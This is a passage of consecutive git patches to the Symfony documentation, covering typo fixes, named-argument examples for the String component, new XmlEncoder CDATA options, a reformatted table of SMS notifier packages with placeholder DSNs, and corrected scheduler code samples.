``onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response`` If the user is authenticated, this method is called with the authenticated ``$token``. This method can return a response (e.g. - redirect the user to their profile page). + redirect the user to some page). If ``null`` is returned, the request continues like normal (i.e. the controller matching the login route is called). This is useful for API From d49fa646c7a21cc46528aa15e41e21c8e4708bd6 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Mon, 13 May 2024 17:15:54 +0200 Subject: [PATCH 206/615] backport #19874 to 5.4 --- reference/configuration/kernel.rst | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst index 0e31e423dd9..18554d2d467 100644 --- a/reference/configuration/kernel.rst +++ b/reference/configuration/kernel.rst @@ -47,7 +47,7 @@ charset:: Project Directory ~~~~~~~~~~~~~~~~~ -**type**: ``string`` **default**: the directory of the project ``composer.json`` +**type**: ``string`` **default**: the directory of the project's ``composer.json`` This returns the absolute path of the root directory of your Symfony project, which is used by applications to perform operations with file paths relative to @@ -75,6 +75,8 @@ method to return the right project directory:: public function getProjectDir(): string { + // when defining a hardcoded string, don't add the trailing slash to the path + // e.g. '/home/user/my_project', '/app', '/var/www/example.com' return \dirname(__DIR__); } } From d670e01d8dd2c7a24f4d9b7f8ff05b1165c342fd Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Mon, 13 May 2024 17:18:44 +0200 Subject: [PATCH 207/615] fix typo --- reference/configuration/kernel.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst index 0125094a64d..e12482aae4a 100644 --- a/reference/configuration/kernel.rst +++ b/reference/configuration/kernel.rst @@ -288,7 +288,7 @@ have deleted it entirely (for example in the production servers), override the public function getProjectDir(): string { - // when defining a hardcoded string, don't add the triailing slash to the path + // when defining a hardcoded string, don't add the trailing slash to the path // e.g. '/home/user/my_project', '/app', '/var/www/example.com' return \dirname(__DIR__); } From 486c967f24591dc9ccb18f30478e30cfad360f2b Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Mon, 13 May 2024 10:37:12 +0200 Subject: [PATCH 208/615] [String] add named arguments --- components/string.rst | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/components/string.rst b/components/string.rst index ca289c70ba4..0cf0583da6c 100644 --- a/components/string.rst +++ b/components/string.rst @@ -217,7 +217,7 @@ Methods to Change Case // changes all graphemes/code points to "title case" u('foo bar')->title(); // 'Foo bar' - u('foo bar')->title(true); // 'Foo Bar' + u('foo bar')->title(allWords: true); // 'Foo Bar' // changes all graphemes/code points to camelCase u('Foo: Bar-baz.')->camel(); // 'fooBarBaz' @@ -255,20 +255,20 @@ Methods to Append and Prepend u('UserControllerController')->ensureEnd('Controller'); // 'UserController' // returns the contents found before/after the first occurrence of the given string - u('hello world')->before('world'); // 'hello ' - u('hello world')->before('o'); // 'hell' - u('hello world')->before('o', true); // 'hello' + u('hello world')->before('world'); // 'hello ' + u('hello world')->before('o'); // 'hell' + u('hello world')->before('o', includeNeedle: true); // 'hello' - u('hello world')->after('hello'); // ' world' - u('hello world')->after('o'); // ' world' - u('hello world')->after('o', true); // 'o world' + u('hello world')->after('hello'); // ' world' + u('hello world')->after('o'); // ' world' + u('hello world')->after('o', includeNeedle: true); // 'o world' // returns the contents found before/after the last occurrence of the given string - u('hello world')->beforeLast('o'); // 'hello w' - u('hello world')->beforeLast('o', true); // 'hello wo' + u('hello world')->beforeLast('o'); // 'hello w' + u('hello world')->beforeLast('o', includeNeedle: true); // 'hello wo' - u('hello world')->afterLast('o'); // 'rld' - u('hello world')->afterLast('o', true); // 'orld' + u('hello world')->afterLast('o'); // 'rld' + u('hello world')->afterLast('o', includeNeedle: true); // 'orld' Methods to Pad and Trim ~~~~~~~~~~~~~~~~~~~~~~~ @@ -381,17 +381,17 @@ Methods to Join, Split, Truncate and Reverse u('Lorem Ipsum')->truncate(80); // 'Lorem Ipsum' // the second argument is the character(s) added when a string is cut // (the total length includes the length of this character(s)) - u('Lorem Ipsum')->truncate(8, '…'); // 'Lorem I…' + u('Lorem Ipsum')->truncate(8, '…'); // 'Lorem I…' // if the third argument is false, the last word before the cut is kept // even if that generates a string longer than the desired length - u('Lorem Ipsum')->truncate(8, '…', false); // 'Lorem Ipsum' + u('Lorem Ipsum')->truncate(8, '…', cut: false); // 'Lorem Ipsum' :: // breaks the string into lines of the given length - u('Lorem Ipsum')->wordwrap(4); // 'Lorem\nIpsum' + u('Lorem Ipsum')->wordwrap(4); // 'Lorem\nIpsum' // by default it breaks by white space; pass TRUE to break unconditionally - u('Lorem Ipsum')->wordwrap(4, "\n", true); // 'Lore\nm\nIpsu\nm' + u('Lorem Ipsum')->wordwrap(4, "\n", cut: true); // 'Lore\nm\nIpsu\nm' // replaces a portion of the string with the given contents: // the second argument is the position where the replacement starts; @@ -405,7 +405,7 @@ Methods to Join, Split, Truncate and Reverse u('0123456789')->chunk(3); // ['012', '345', '678', '9'] // reverses the order of the string contents - u('foo bar')->reverse(); // 'rab oof' + u('foo bar')->reverse(); // 'rab oof' u('さよなら')->reverse(); // 'らなよさ' Methods Added by ByteString From 027f32aa29bc71138e8bfc432969fbe3edd78da0 Mon Sep 17 00:00:00 2001 From: Maxim <BigShark666@gmail.com> Date: Tue, 14 May 2024 13:23:14 +0200 Subject: [PATCH 209/615] Small type fixes for scheduler.rst --- scheduler.rst | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/scheduler.rst b/scheduler.rst index 8c9aaa48b1c..d23df3b3044 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -662,7 +662,7 @@ being transferred and processed by its handler:: return $this->schedule ??= (new Schedule()) ->with( // ... - ); + ) ->before(function(PreRunEvent $event) { $message = $event->getMessage(); $messageContext = $event->getMessageContext(); @@ -675,13 +675,13 @@ being transferred and processed by its handler:: // allow to call the ShouldCancel() and avoid the message to be handled $event->shouldCancel(true); - } + }) ->after(function(PostRunEvent $event) { // Do what you want - } + }) ->onFailure(function(FailureEvent $event) { // Do what you want - } + }); } } From 705d5d2ae91a508c7c1be057f4f4228e5e537c74 Mon Sep 17 00:00:00 2001 From: AndoniLarz <andoni@larzabal.eu> Date: Sat, 1 Apr 2023 16:08:11 +0200 Subject: [PATCH 210/615] [Serializer] Add documentation about a new XmlEncoder CDATA wrapping opt-out context option --- components/serializer.rst | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/components/serializer.rst b/components/serializer.rst index 62f8af323b1..febc23e3495 100644 --- a/components/serializer.rst +++ b/components/serializer.rst @@ -1206,8 +1206,16 @@ Option Description ``save_options`` XML saving `options with libxml`_ ``0`` ``remove_empty_tags`` If set to true, removes all empty tags in the ``false`` generated XML +``cdata_wrapping`` If set to false, will not wrap any value ``true`` + containing one of the following characters ( + ``<``, ``>``, ``&``) in `a CDATA section`_ like + following: ``<![CDATA[...]]>`` ============================== ================================================= ========================== +.. versionadded:: 6.4 + + The `cdata_wrapping` option was introduced in Symfony 6.4. + Example with custom ``context``:: use Symfony\Component\Serializer\Encoder\XmlEncoder; @@ -1936,3 +1944,4 @@ Learn more .. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs .. _seld/jsonlint: https://github.com/Seldaek/jsonlint .. _$flags: https://www.php.net/manual/en/json.constants.php +.. _`a CDATA section`: https://en.wikipedia.org/wiki/CDATA From f1927e150b0c22276c051318367b9da99beecbbe Mon Sep 17 00:00:00 2001 From: gitomato <gitomatodev@gmail.com> Date: Mon, 13 May 2024 11:08:26 +0200 Subject: [PATCH 211/615] Move Doctrine constraints out of Other constraints --- reference/constraints/map.rst.inc | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc index 1d56346b096..58f519965d1 100644 --- a/reference/constraints/map.rst.inc +++ b/reference/constraints/map.rst.inc @@ -86,6 +86,13 @@ Financial and other Number Constraints * :doc:`Issn </reference/constraints/Issn>` * :doc:`Isin </reference/constraints/Isin>` +Doctrine Constraints +~~~~~~~~~~~~~~~~~~~~ + +* :doc:`UniqueEntity </reference/constraints/UniqueEntity>` +* :doc:`EnableAutoMapping </reference/constraints/EnableAutoMapping>` +* :doc:`DisableAutoMapping </reference/constraints/DisableAutoMapping>` + Other Constraints ~~~~~~~~~~~~~~~~~ @@ -100,6 +107,3 @@ Other Constraints * :doc:`Traverse </reference/constraints/Traverse>` * :doc:`Collection </reference/constraints/Collection>` * :doc:`Count </reference/constraints/Count>` -* :doc:`UniqueEntity </reference/constraints/UniqueEntity>` -* :doc:`EnableAutoMapping </reference/constraints/EnableAutoMapping>` -* :doc:`DisableAutoMapping </reference/constraints/DisableAutoMapping>` From 5961ea1cccb8307bbecb684f4af0bd734654ec08 Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Thu, 16 May 2024 07:20:14 +0200 Subject: [PATCH 212/615] - --- components/http_foundation.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/http_foundation.rst b/components/http_foundation.rst index 510fecd3296..4cec5859ebc 100644 --- a/components/http_foundation.rst +++ b/components/http_foundation.rst @@ -729,7 +729,7 @@ The ``JsonResponse`` class sets the ``Content-Type`` header to Only methods that respond to GET requests are vulnerable to XSSI 'JSON Hijacking'. Methods responding to POST requests only remain unaffected. -.. danger:: +.. warning:: The ``JsonResponse`` constructor exhibits non-standard JSON encoding behavior and will treat ``null`` as an empty object if passed as a constructor argument, From 0496c33aabb74b986e9c0fcb99a6c57d101811fb Mon Sep 17 00:00:00 2001 From: Vincent Chareunphol <vincent@devoji.com> Date: Thu, 16 May 2024 09:55:02 +0200 Subject: [PATCH 213/615] Update advice --- testing.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/testing.rst b/testing.rst index f4edb68c404..2a250faaad1 100644 --- a/testing.rst +++ b/testing.rst @@ -97,7 +97,7 @@ You can run tests using the ``bin/phpunit`` command: .. tip:: In large test suites, it can make sense to create subdirectories for - each type of tests (e.g. ``tests/Unit/`` and ``tests/Functional/``). + each type of tests (e.g. ``tests/Unit/``, ``tests/Integration/`` and ``tests/Application/``). .. _integration-tests: From a40bf7c2d12b049a1190e0727c1096b95fe2908a Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Thu, 16 May 2024 13:20:12 +0200 Subject: [PATCH 214/615] - --- components/serializer.rst | 4 ---- 1 file changed, 4 deletions(-) diff --git a/components/serializer.rst b/components/serializer.rst index 03583918304..9fc4c8d5417 100644 --- a/components/serializer.rst +++ b/components/serializer.rst @@ -1166,10 +1166,6 @@ Option Description following: ``<![CDATA[...]]>`` ============================== ================================================= ========================== -.. versionadded:: 6.4 - - The `cdata_wrapping` option was introduced in Symfony 6.4. - Example with custom ``context``:: use Symfony\Component\Serializer\Encoder\XmlEncoder; From c6d35123b955de9a0a7080f4b78fee3ec7b32ef1 Mon Sep 17 00:00:00 2001 From: alexpozzi <alexpozzi@users.noreply.github.com> Date: Mon, 13 May 2024 17:49:41 +0200 Subject: [PATCH 215/615] Add missing XML serializer's CDATA options --- components/serializer.rst | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/components/serializer.rst b/components/serializer.rst index 2d1ea2c7637..1c86a111084 100644 --- a/components/serializer.rst +++ b/components/serializer.rst @@ -1200,11 +1200,17 @@ Option Description ``remove_empty_tags`` If set to true, removes all empty tags in the ``false`` generated XML ``cdata_wrapping`` If set to false, will not wrap any value ``true`` - containing one of the following characters ( - ``<``, ``>``, ``&``) in `a CDATA section`_ like - following: ``<![CDATA[...]]>`` + matching the ``cdata_wrapping_pattern`` regex in + `a CDATA section`_ like following: + ``<![CDATA[...]]>`` +``cdata_wrapping_pattern`` A regular expression pattern to determine if a ``/[<>&]/`` + value should be wrapped in a CDATA section ============================== ================================================= ========================== +.. versionadded:: 7.1 + + The `cdata_wrapping_pattern` option was introduced in Symfony 7.1. + Example with custom ``context``:: use Symfony\Component\Serializer\Encoder\XmlEncoder; From b87da5685bafece785392e325044fe47b4bd697d Mon Sep 17 00:00:00 2001 From: Vincent Chareunphol <vincent@devoji.com> Date: Fri, 17 May 2024 08:20:02 +0200 Subject: [PATCH 216/615] [Console] Add other pre-defined block styles --- components/console/helpers/formatterhelper.rst | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst index 5e4ae0d91fb..3cb87c4c307 100644 --- a/components/console/helpers/formatterhelper.rst +++ b/components/console/helpers/formatterhelper.rst @@ -64,8 +64,9 @@ block will be formatted with more padding (one blank line above and below the messages and 2 spaces on the left and right). The exact "style" you use in the block is up to you. In this case, you're using -the pre-defined ``error`` style, but there are other styles, or you can create -your own. See :doc:`/console/coloring`. +the pre-defined ``error`` style, but there are other styles (``info``, +``comment``, ``question``), or you can create your own. +See :doc:`/console/coloring`. Print Truncated Messages ------------------------ @@ -87,7 +88,7 @@ And the output will be: This is... -The message is truncated to the given length, then the suffix is appended to end +The message is truncated to the given length, then the suffix is appended to the end of that string. Negative String Length @@ -109,7 +110,7 @@ Custom Suffix By default, the ``...`` suffix is used. If you wish to use a different suffix, pass it as the third argument to the method. -The suffix is always appended, unless truncate length is longer than a message +The suffix is always appended, unless truncated length is longer than a message and a suffix length. If you don't want to use suffix at all, pass an empty string:: From 4554fdfd6d2220a9ba23801247df24883728aaff Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 17 May 2024 13:14:21 +0200 Subject: [PATCH 217/615] [Notifier] Change the structure of the table listing the notifiers --- notifier.rst | 179 +++++++++++++++++++++++++++++++++++++-------------- 1 file changed, 132 insertions(+), 47 deletions(-) diff --git a/notifier.rst b/notifier.rst index 9b9eaf957bd..af134f4d349 100644 --- a/notifier.rst +++ b/notifier.rst @@ -55,53 +55,138 @@ to send SMS messages to mobile phones. This feature requires subscribing to a third-party service that sends SMS messages. Symfony provides integration with a couple popular SMS services: -================== ===================================== ========================================================================================================================= =============== -Service Package DSN Webhook support -================== ===================================== ========================================================================================================================= =============== -`46elks`_ ``symfony/forty-six-elks-notifier`` ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM`` -`AllMySms`_ ``symfony/all-my-sms-notifier`` ``allmysms://LOGIN:APIKEY@default?from=FROM`` -`AmazonSns`_ ``symfony/amazon-sns-notifier`` ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION`` -`Bandwidth`_ ``symfony/bandwidth-notifier`` ``bandwidth://USERNAME:PASSWORD@default?from=FROM&account_id=ACCOUNT_ID&application_id=APPLICATION_ID&priority=PRIORITY`` -`Brevo`_ ``symfony/brevo-notifier`` ``brevo://API_KEY@default?sender=SENDER`` -`Clickatell`_ ``symfony/clickatell-notifier`` ``clickatell://ACCESS_TOKEN@default?from=FROM`` -`ContactEveryone`_ ``symfony/contact-everyone-notifier`` ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY`` -`Esendex`_ ``symfony/esendex-notifier`` ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM`` -`FakeSms`_ ``symfony/fake-sms-notifier`` ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default`` -`FreeMobile`_ ``symfony/free-mobile-notifier`` ``freemobile://LOGIN:API_KEY@default?phone=PHONE`` -`GatewayApi`_ ``symfony/gateway-api-notifier`` ``gatewayapi://TOKEN@default?from=FROM`` -`GoIP`_ ``symfony/goip-notifier`` ``goip://USERNAME:PASSWORD@HOST:80?sim_slot=SIM_SLOT`` -`Infobip`_ ``symfony/infobip-notifier`` ``infobip://AUTH_TOKEN@HOST?from=FROM`` -`Iqsms`_ ``symfony/iqsms-notifier`` ``iqsms://LOGIN:PASSWORD@default?from=FROM`` -`iSendPro`_ ``symfony/isendpro-notifier`` ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX`` -`KazInfoTeh`_ ``symfony/kaz-info-teh-notifier`` ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM`` -`LightSms`_ ``symfony/light-sms-notifier`` ``lightsms://LOGIN:TOKEN@default?from=PHONE`` -`Mailjet`_ ``symfony/mailjet-notifier`` ``mailjet://TOKEN@default?from=FROM`` -`MessageBird`_ ``symfony/message-bird-notifier`` ``messagebird://TOKEN@default?from=FROM`` -`MessageMedia`_ ``symfony/message-media-notifier`` ``messagemedia://API_KEY:API_SECRET@default?from=FROM`` -`Mobyt`_ ``symfony/mobyt-notifier`` ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM`` -`Nexmo`_ ``symfony/nexmo-notifier`` Abandoned in favor of Vonage (symfony/vonage-notifier). -`Octopush`_ ``symfony/octopush-notifier`` ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE`` -`OrangeSms`_ ``symfony/orange-sms-notifier`` ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME`` -`OvhCloud`_ ``symfony/ovh-cloud-notifier`` ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME`` -`Plivo`_ ``symfony/plivo-notifier`` ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM`` -`Redlink`_ ``symfony/redlink-notifier`` ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION`` -`RingCentral`_ ``symfony/ring-central-notifier`` ``ringcentral://API_TOKEN@default?from=FROM`` -`Sendberry`_ ``symfony/sendberry-notifier`` ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM`` -`Sendinblue`_ ``symfony/sendinblue-notifier`` ``sendinblue://API_KEY@default?sender=PHONE`` -`Sms77`_ ``symfony/sms77-notifier`` ``sms77://API_KEY@default?from=FROM`` -`SimpleTextin`_ ``symfony/simple-textin-notifier`` ``simpletextin://API_KEY@default?from=FROM`` -`Sinch`_ ``symfony/sinch-notifier`` ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM`` -`Smsapi`_ ``symfony/smsapi-notifier`` ``smsapi://TOKEN@default?from=FROM`` -`SmsBiuras`_ ``symfony/sms-biuras-notifier`` ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0`` -`Smsc`_ ``symfony/smsc-notifier`` ``smsc://LOGIN:PASSWORD@default?from=FROM`` -`SMSFactor`_ ``symfony/sms-factor-notifier`` ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE`` -`SpotHit`_ ``symfony/spot-hit-notifier`` ``spothit://TOKEN@default?from=FROM`` -`Telnyx`_ ``symfony/telnyx-notifier`` ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID`` -`TurboSms`_ ``symfony/turbo-sms-notifier`` ``turbosms://AUTH_TOKEN@default?from=FROM`` -`Twilio`_ ``symfony/twilio-notifier`` ``twilio://SID:TOKEN@default?from=FROM`` yes -`Vonage`_ ``symfony/vonage-notifier`` ``vonage://KEY:SECRET@default?from=FROM`` yes -`Yunpian`_ ``symfony/yunpian-notifier`` ``yunpian://APIKEY@default`` -================== ===================================== ========================================================================================================================= =============== +================== ==================================================================================================================================== +Service +================== ==================================================================================================================================== +`46elks`_ **Install**: ``composer require symfony/forty-six-elks-notifier`` \ + **DSN**: ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM`` \ + **Webhook support**: No +`AllMySms`_ **Install**: ``composer require symfony/all-my-sms-notifier`` \ + **DSN**: ``allmysms://LOGIN:APIKEY@default?from=FROM`` \ + **Webhook support**: No +`AmazonSns`_ **Install**: ``composer require symfony/amazon-sns-notifier`` \ + **DSN**: ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION`` \ + **Webhook support**: No +`Bandwidth`_ **Install**: ``composer require symfony/bandwidth-notifier`` \ + **DSN**: ``bandwidth://USERNAME:PASSWORD@default?from=FROM&account_id=ACCOUNT_ID&application_id=APPLICATION_ID&priority=PRIORITY`` \ + **Webhook support**: No +`Brevo`_ **Install**: ``composer require symfony/brevo-notifier`` \ + **DSN**: ``brevo://API_KEY@default?sender=SENDER`` \ + **Webhook support**: No +`Clickatell`_ **Install**: ``composer require symfony/clickatell-notifier`` \ + **DSN**: ``clickatell://ACCESS_TOKEN@default?from=FROM`` \ + **Webhook support**: No +`ContactEveryone`_ **Install**: ``composer require symfony/contact-everyone-notifier`` \ + **DSN**: ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY`` \ + **Webhook support**: No +`Esendex`_ **Install**: ``composer require symfony/esendex-notifier`` \ + **DSN**: ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM`` \ + **Webhook support**: No +`FakeSms`_ **Install**: ``composer require symfony/fake-sms-notifier`` \ + **DSN**: ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default`` \ + **Webhook support**: No +`FreeMobile`_ **Install**: ``composer require symfony/free-mobile-notifier`` \ + **DSN**: ``freemobile://LOGIN:API_KEY@default?phone=PHONE`` \ + **Webhook support**: No +`GatewayApi`_ **Install**: ``composer require symfony/gateway-api-notifier`` \ + **DSN**: ``gatewayapi://TOKEN@default?from=FROM`` \ + **Webhook support**: No +`GoIP`_ **Install**: ``composer require symfony/goip-notifier`` \ + **DSN**: ``goip://USERNAME:PASSWORD@HOST:80?sim_slot=SIM_SLOT`` \ + **Webhook support**: No +`Infobip`_ **Install**: ``composer require symfony/infobip-notifier`` \ + **DSN**: ``infobip://AUTH_TOKEN@HOST?from=FROM`` \ + **Webhook support**: No +`Iqsms`_ **Install**: ``composer require symfony/iqsms-notifier`` \ + **DSN**: ``iqsms://LOGIN:PASSWORD@default?from=FROM`` \ + **Webhook support**: No +`iSendPro`_ **Install**: ``composer require symfony/isendpro-notifier`` \ + **DSN**: ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX`` \ + **Webhook support**: No +`KazInfoTeh`_ **Install**: ``composer require symfony/kaz-info-teh-notifier`` \ + **DSN**: ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM`` \ + **Webhook support**: No +`LightSms`_ **Install**: ``composer require symfony/light-sms-notifier`` \ + **DSN**: ``lightsms://LOGIN:TOKEN@default?from=PHONE`` \ + **Webhook support**: No +`Mailjet`_ **Install**: ``composer require symfony/mailjet-notifier`` \ + **DSN**: ``mailjet://TOKEN@default?from=FROM`` \ + **Webhook support**: No +`MessageBird`_ **Install**: ``composer require symfony/message-bird-notifier`` \ + **DSN**: ``messagebird://TOKEN@default?from=FROM`` \ + **Webhook support**: No +`MessageMedia`_ **Install**: ``composer require symfony/message-media-notifier`` \ + **DSN**: ``messagemedia://API_KEY:API_SECRET@default?from=FROM`` \ + **Webhook support**: No +`Mobyt`_ **Install**: ``composer require symfony/mobyt-notifier`` \ + **DSN**: ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM`` \ + **Webhook support**: No +`Nexmo`_ **Install**: ``composer require symfony/nexmo-notifier`` \ + Abandoned in favor of Vonage (see below) \ +`Octopush`_ **Install**: ``composer require symfony/octopush-notifier`` \ + **DSN**: ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE`` \ + **Webhook support**: No +`OrangeSms`_ **Install**: ``composer require symfony/orange-sms-notifier`` \ + **DSN**: ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME`` \ + **Webhook support**: No +`OvhCloud`_ **Install**: ``composer require symfony/ovh-cloud-notifier`` \ + **DSN**: ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME`` \ + **Webhook support**: No +`Plivo`_ **Install**: ``composer require symfony/plivo-notifier`` \ + **DSN**: ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM`` \ + **Webhook support**: No +`Redlink`_ **Install**: ``composer require symfony/redlink-notifier`` \ + **DSN**: ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION`` \ + **Webhook support**: No +`RingCentral`_ **Install**: ``composer require symfony/ring-central-notifier`` \ + **DSN**: ``ringcentral://API_TOKEN@default?from=FROM`` \ + **Webhook support**: No +`Sendberry`_ **Install**: ``composer require symfony/sendberry-notifier`` \ + **DSN**: ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM`` \ + **Webhook support**: No +`Sendinblue`_ **Install**: ``composer require symfony/sendinblue-notifier`` \ + **DSN**: ``sendinblue://API_KEY@default?sender=PHONE`` \ + **Webhook support**: No +`Sms77`_ **Install**: ``composer require symfony/sms77-notifier`` \ + **DSN**: ``sms77://API_KEY@default?from=FROM`` \ + **Webhook support**: No +`SimpleTextin`_ **Install**: ``composer require symfony/simple-textin-notifier`` \ + **DSN**: ``simpletextin://API_KEY@default?from=FROM`` \ + **Webhook support**: No +`Sinch`_ **Install**: ``composer require symfony/sinch-notifier`` \ + **DSN**: ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM`` \ + **Webhook support**: No +`Smsapi`_ **Install**: ``composer require symfony/smsapi-notifier`` \ + **DSN**: ``smsapi://TOKEN@default?from=FROM`` \ + **Webhook support**: No +`SmsBiuras`_ **Install**: ``composer require symfony/sms-biuras-notifier`` \ + **DSN**: ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0`` \ + **Webhook support**: No +`Smsc`_ **Install**: ``composer require symfony/smsc-notifier`` \ + **DSN**: ``smsc://LOGIN:PASSWORD@default?from=FROM`` \ + **Webhook support**: No +`SMSFactor`_ **Install**: ``composer require symfony/sms-factor-notifier`` \ + **DSN**: ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE`` \ + **Webhook support**: No +`SpotHit`_ **Install**: ``composer require symfony/spot-hit-notifier`` \ + **DSN**: ``spothit://TOKEN@default?from=FROM`` \ + **Webhook support**: No +`Telnyx`_ **Install**: ``composer require symfony/telnyx-notifier`` \ + **DSN**: ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID`` \ + **Webhook support**: No +`TurboSms`_ **Install**: ``composer require symfony/turbo-sms-notifier`` \ + **DSN**: ``turbosms://AUTH_TOKEN@default?from=FROM`` \ + **Webhook support**: No +`Twilio`_ **Install**: ``composer require symfony/twilio-notifier`` \ + **DSN**: ``twilio://SID:TOKEN@default?from=FROM`` \ + **Webhook support**: Yes +`Vonage`_ **Install**: ``composer require symfony/vonage-notifier`` \ + **DSN**: ``vonage://KEY:SECRET@default?from=FROM`` \ + **Webhook support**: Yes +`Yunpian`_ **Install**: ``composer require symfony/yunpian-notifier`` \ + **DSN**: ``yunpian://APIKEY@default`` \ + **Webhook support**: No +================== ==================================================================================================================================== .. versionadded:: 6.1 From 46562c0f4a4d7c1179599d5772e2955df41ba260 Mon Sep 17 00:00:00 2001 From: homersimpsons <guillaume.alabre@gmail.com> Date: Sat, 18 May 2024 15:09:21 +0200 Subject: [PATCH 218/615] fix expression language precedence cell grouping --- reference/formats/expression_language.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst index 79af2d14002..1179d78a43c 100644 --- a/reference/formats/expression_language.rst +++ b/reference/formats/expression_language.rst @@ -446,9 +446,9 @@ Operators associativity ``~`` left ``+``, ``-`` left ``..`` left -``==``, ``===``, ``!=``, ``!==``, left -``<``, ``>``, ``>=``, ``<=``, -``not in``, ``in``, ``contains``, +``==``, ``===``, ``!=``, ``!==``, \ left +``<``, ``>``, ``>=``, ``<=``, \ +``not in``, ``in``, ``contains``, \ ``starts with``, ``ends with``, ``matches`` ``&`` left ``^`` left From ca65006a0cbf8a4e6ce5a37b07c013948b0f0c9e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?K=C3=A9lian=20Bousquet?= <26789950+kells64000@users.noreply.github.com> Date: Sat, 18 May 2024 17:35:20 +0200 Subject: [PATCH 219/615] Update scheduler.rst The while was missing a parenthesis and the negation of the condition needs to be removed for it to work as expected. --- scheduler.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scheduler.rst b/scheduler.rst index d23df3b3044..b1ef369b677 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -320,7 +320,7 @@ For example, if you want to send customer reports daily except for holiday perio } // loop until you get the next run date that is not a holiday - while (!$this->isHoliday($nextRun) { + while ($this->isHoliday($nextRun)) { $nextRun = $this->inner->getNextRunDate($nextRun); } From 6453ce337484fa4ed00a99357a6f54de8d7cbf70 Mon Sep 17 00:00:00 2001 From: Antoine Lamirault <lamiraultantoine@gmail.com> Date: Mon, 20 May 2024 19:05:36 +0200 Subject: [PATCH 220/615] Remove redundant parenthesis on attribute --- event_dispatcher.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/event_dispatcher.rst b/event_dispatcher.rst index a1e26412a85..897157b4724 100644 --- a/event_dispatcher.rst +++ b/event_dispatcher.rst @@ -162,7 +162,7 @@ having to add any configuration in external files:: } } -You can add multiple ``#[AsEventListener()]`` attributes to configure different methods:: +You can add multiple ``#[AsEventListener]`` attributes to configure different methods:: namespace App\EventListener; @@ -198,7 +198,7 @@ can also be applied to methods directly:: final class 